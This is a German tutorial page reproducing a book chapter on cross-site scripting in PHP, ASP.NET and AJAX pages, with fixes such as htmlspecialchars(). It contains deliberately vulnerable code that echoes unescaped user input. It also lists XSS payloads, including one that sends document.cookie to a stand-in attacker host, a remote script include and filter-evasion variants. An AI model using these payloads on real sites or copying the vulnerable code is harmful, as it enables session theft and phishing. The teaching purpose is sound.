Anzeige
Tutorialbeschreibung

Javascript und Ajax- JavaScript und Sicherheit

Javascript und Ajax- JavaScript und Sicherheit

[Javascript und Ajax] JavaScript und Sicherheit 30

Dieses kapitel schult das Bewusstsein dafür, wie einfach Hacker-Angriffe von statten gehen können.


Das nun folgende Tutorial ist ein Auszug aus der 7. Auflage des Buches: JavaScript und Ajax von Christian Wenz.

Wer die Freiheit aufgibt, um Sicherheit zu gewinnen, wird am Ende beides verlieren. – Benjamin Franklin

Kapitel 30 JavaScript und Sicherheit

Es vergeht kaum eine Woche, in der nicht irgendeine Webanwendung »geknackt« wird, also eine Sicherheitslücke entdeckt und häufig auch ausgenutzt wird. Dabei trifft es häufig auch qualitativ gute und beliebte Open-Source-Projekte, etwa die diversen CMS-Systeme, Weblogs und Bildergalerien: Es gibt kaum eine bekanntere Software, die es noch nicht erwischt hat.

Was hat das aber mit JavaScript zu tun? Nun, eine der Angriffsmöglichkeiten beinhaltet die Verwendung von JavaScript. Ein guter Angreifer ist also häufig auch sehr versiert in JavaScript.

Dieses Kapitel soll natürlich kein Hacker-Grundkurs sein, sondern vielmehr das Bewusstsein dafür schärfen, mit welchen einfachen Mitteln Angriffe vonstatten gehen können. Im Zusammenhang mit AJAX sind möglicherweise auch herkömmliche JavaScript-Anwendungen in Gefahr, dem Angriff zum Opfer zu fallen.

 

30.1 XSS 

Einer der gefährlichsten Angriffe im Web ist das »Cross-Site Scripting«, abgekürzt mit XSS (CSS hat ja bereits eine andere Bedeutung). Dabei geht es um die Einspeisung von Skript-Code in eine Website. Wie das funktioniert und vor allem wie das vonstatten gehen kann, soll ein kleines und typisches Beispiel zeigen. Stellen Sie sich eine Suchmaske auf einer Website vor. Mit PHP kann das – ganz rudimentär – wie folgt aussehen:

<html>

<head>

<title>XSS</title>

</head>

<body>

<h1>XSS</h1>

<form action="" method="get">

<input type="text" name="suchbegriff" /><br />

<input type="submit" value="Suchen" />

</form>

<?php

if (isset($_GET['suchbegriff'])) {

   echo "Ihre Suche nach {$_GET['suchbegriff']} ergab keinen Treffer.";

}

?>

</body>

</html>

In ASP.NET würde das Beispiel sehr ähnlich aussehen:

<%@ Page Language="JScript" %>

<script runat="server">

function Page_Load() {

   if (suchbegriff.Value != "") {

      Ergebnis.InnerHtml = "Ihre Suche nach " +

         suchbegriff.Value +

         "ergab keinen Treffer.";

   }

}

</script>

 

<html>

<head>

<title>XSS</title>

</head>

<body>

<h1>XSS</h1>

<form method="post" runat="server">

<input type="text" id="suchbegriff" runat="server" /><br />

<input type="submit" value="Suchen" />

</form>

<p id="Ergebnis" runat="server"></p>

</body>

</html>

In dieser Art sind viele Websites programmiert – leider viel zu viele. Probieren Sie doch beispielsweise einmal, als Suchbegriff <hr /> einzugeben. Das Ergebnis ähnelt dann dem in Abbildung 25.1: Es erscheint nicht etwa <hr />, sondern die horizontale Linie. Der Webbrowser interpretiert also das HTML!


Bilder

Abbildung 30.1     Die horizontale Linie erscheint.

Unter ASP.NET erscheint unter Umständen eine Sicherheitswarnung, wenn Sie <hr /> in das Suchfeld eingeben und das Formular verschicken. Das ist natürlich besser als die Anzeige der horizontalen Linie, aber natürlich auch nicht optimal, weswegen viele ASP.NET-Entwickler dieses Sicherheitsfeature zähneknirschend abschalten.

Eine horizontale Linie ist vielleicht unschön, aber noch kein Beinbruch. Doch es geht noch schlimmer beziehungsweise unangenehmer. Geben Sie doch einmal folgenden Suchbegriff ein:

<script>alert("Oh nein ...");</script>

Bevor Sie jetzt einwenden, da würde doch etwas fehlen (etwa das type-Attribut), sollten Sie einen kurzen Blick auf Abbildung 30.2 werfen. Das modale Warnfenster wirkt doch etwas peinlich.

Aber auch dieser Angriff sieht nicht wirklich gefährlich aus, nur lästig. Doch das ist – leider – noch lange nicht das Ende der Fahnenstange. Die folgenden »lustigen« Angriffe sind unter anderem noch möglich:

gpBilder
 

<div style="display:none"> – Der Rest der Seite ist unsichtbar.

 

gpBilder
 

<script>location.href = "http://phishing.xy/";</script> – Weiterleitung auf eine andere Website

 

gpBilder
 

<script>(new Image()).src = "http://angreifer.xy/?" + escape (document.cookie);</script> – Cookie-Daten der aktuellen Site (!) werden unsichtbar an einen anderen Server geschickt.

 

gpBilder
 

<script src="http://angreifer.xy/skript.js"></script> – Ein bösartiges Skript von einem anderen Server wird geladen und ausgeführt.


Bilder

Abbildung 30.2     Unangenehm: Ein JavaScript-Popup

Gerade die letzten beiden Angriffe sind gefährlich. Viele Websites authentifizieren ihre Nutzer ausschließlich über Cookie-Informationen; ist also der Cookie erst einmal geklaut, kann sich der Angreifer häufig als sein Opfer ausgeben. Und auch das Einschleusen beliebigen JavaScript-Codes ist Furcht einflößend.

Doch wie geht ein solcher XSS-Angriff vonstatten? Auch hier gibt es mehrere Möglichkeiten. Besonders bequem ist es natürlich, wenn die Daten des Angriffs permanent gespeichert werden, etwa in einem Gästebuch. Dann nämlich wird der bösartige JavaScript-Code (bzw. das bösartige HTML-Markup) bei jedem Benutzer ausgeführt, der die Site besucht. Aber auch im Beispiel mit der Suche ist ein Angriff relativ einfach möglich: Ein Bösewicht schickt seinem Opfer einfach eine Mail oder eine IM-Nachricht mit einem entsprechend vorbereiteten Link, der beispielsweise folgenden Aufbau hat: http://www.website.xy/xss.php?suchbegriff=%XX... – beachten Sie, dass der Skript-Code im GET-Parameter URL-kodiert wurde und deswegen nicht so einfach zu erkennen ist. Wenn das Opfer der Website http://www.website.xy/ vertraut, etwa seiner Hausbank, klickt er oder sie natürlich gerne auf den Link, und dann wird es bitter. Der Cookie könnte geklaut werden, oder es erfolgt eine (schwer zu erkennende) Weiterleitung auf die Seite des Angreifers, oder per JavaScript-Code wird das Versandziel des Login-Formulars auf den Server des Angreifers umgeleitet, oder ... Sie sehen, die Möglichkeiten sind fast endlos. Das Gefährliche ist, dass der JavaScript-Code zwar von außen kommt, jedoch im Kontext der Seite ausgeführt wird.

Übrigens, auch das kann sich ein Angreifer zu Nutze machen, allerdings unter einem anderen Aspekt. Laden Sie eine Seite im Browser, und geben Sie dann von Hand folgende URL ein: javascript:alert(document.cookie);. Es erscheinen alle Cookies, und zwar die der aktuell geladenen Website! Mit diesem Kniff können Sie (beziehungsweise ein Angreifer) auch Funktionen auf der aktuellen Seite aufrufen, Variablen verändern und vieles mehr.

Was können Sie dagegen tun? Nun, als Benutzer können Sie fast nichts tun, außer merkwürdige und vor allem recht lange Links nicht anzuklicken. Als Entwickler einer serverseitigen Lösung allerdings müssen Sie unbedingt Vorkehrungen gegen XSS treffen. Jede Ausgabe, die Nutzerdaten enthält, muss entwertet werden. Dabei gibt es fünf spezielle Zeichen, die je nach Kontext gefährlich werden können:

>

<

 

 

>

>

 

 

>

"

 

>

'

 

>

&

Diese fünf Zeichen müssen durch ihre HTML-Entitäten ersetzt werden, also &lt;, &gt;, &quot;, &apos; und &amp;. Die meisten Web-Technologien bieten dafür eigene Hilfsfunktionen oder -methoden an, etwa htmlspecialchars() in PHP und Server.HtmlEncode() in ASP.NET.

30.2 XSS und AJAX

Doch auch für reine JavaScript-Programmierer ist XSS eine ernst zu nehmende Gefahr. Erinnern Sie sich an Kapitel 18 und die dort vorgestellte AJAX-Problematik, dass Bookmarks nicht so ohne Weiteres möglich sind? Nun, ein möglicher Umweg besteht ja darin, spezielle URLs anzubieten, die als Textmarke oder Query-String Informationen erhalten, die den Seiteninhalt eindeutig beschrieben.

Leider müssen Sie dabei höllisch aufpassen, um nicht in das XSS-Loch zu fallen. Kehren wir zum Beispiel mit der Suche zurück. Stellen Sie sich vor, Sie haben eine AJAX-Suche geschrieben: Ohne dass Seiten neu geladen werden müssen, erscheinen die Suchergebnisse wie von Zauberhand. Allerdings bieten Sie auch noch Permalinks (permanente Links) an, damit für die Ergebnisseite ein Bookmark abgelegt werden kann:

<a href="http://site.xy/suche.php?begriff=XXX">Permalink</a>

Auf der Seite selbst befindet sich dann folgender JavaScript-Code:

<html>
<head>
<title>XSS</title>
<script type="text/javascript">
window.onload = function() {
   if (location.search.length > 1) {
      var p = document.getElementById("ausgabe");
      p.innerHTML = "Sie suchten nach " +
                    unescape(location.search.substring(1));
   }
};
</script>
</head>
<body>
<h1>XSS</h1>
<p id="ausgabe"></p>
</body>
</html>

Sie ahnen mittlerweile, woran dieser Code-Ansatz scheitert: Die URL http://site.xy/suche.html?<Markup...> führt JavaScript-Code aus, wie Abbildung 30.3 noch einmal verdeutlicht.

Bilder

Abbildung 30.3     Beachten Sie URL und Wirkung!

Besonders gefährlich ist die JavaScript-Funktion eval(), die bekanntlich einen String mit JavaScript-Code ausführt. Wenn dieser String von außen kommt, also beispielsweise aus der URL, haben Sie mit hoher Wahrscheinlichkeit eine schwere Sicherheitslücke im System. Seien Sie also bei externen Daten äußerst vorsichtig. Und versuchen Sie erst gar nicht, die zuvor gezeigten Angriffe herauszufiltern, also etwa nach <script zu suchen. Ein Angreifer könnte ja beispielsweise <style>body {back-ground: url(javascript:boeserCode();) }</style> eingeben oder <img src="" onerror="boeserCode();" /> oder ...

PHP-spezifische Hinweise zum Thema Web-Security erhalten Sie unter anderem beim PHP Security Consortium unter http://www.phpsec.org. Allgemeine, sprachunabhängige Informationen gibt es beim Open Web Application Security Project unter http://www.owasp.org/.




Aus der Debatte, ob man nicht doch lieber Cracker sagen sollte und ob jemand, der eine Sicherheitslücke findet, automatisch ein Cracker oder eben doch ein Hacker oder einfach nur jemand mit zu viel Zeit ist, möchte ich mich an dieser Stelle heraushalten. ... was mittlerweile immerhin schon von einigen Browsern nicht mehr interpretiert wird.

Das Tutorial ist ein Auszug aus der 7. Auflage des Buches von Christian Wenz:

JavaScript und Ajax - Das umfassende Handbuch
Galileo Computing, 853 Seiten, 8. aktualisierte Auflage

Die Veröffentlichung des Kapitels erfolgt mit freundlicher Genehmigung von Galileo Press.

Mehr Informationen zum aktualisierten Fachbuch für Webentwickler gibt es hier: JavaScript und Ajax
 
Alle Kapitel des Buches:
1 Grundlagen
2 JavaScript-Praxis
3 Professionelles JavaScript
4 Web 2.0 und Ajax
5 Kommunikation
6 Serverseitige Programmierung
7 Sicherheit
8 Praxis
9 Anhang
Bilder


 

Kommentare
Achtung: Du kannst den Inhalt erst nach dem Login kommentieren.
Alternative Portrait
-versteckt-(Autor hat Seite verlassen)
  • 11.01.2018 - 15:21

Danke für das Tutorial.

Portrait von MaoMao
  • 09.01.2013 - 16:54

Gute Tutorial leicht erklärt.

x
×
×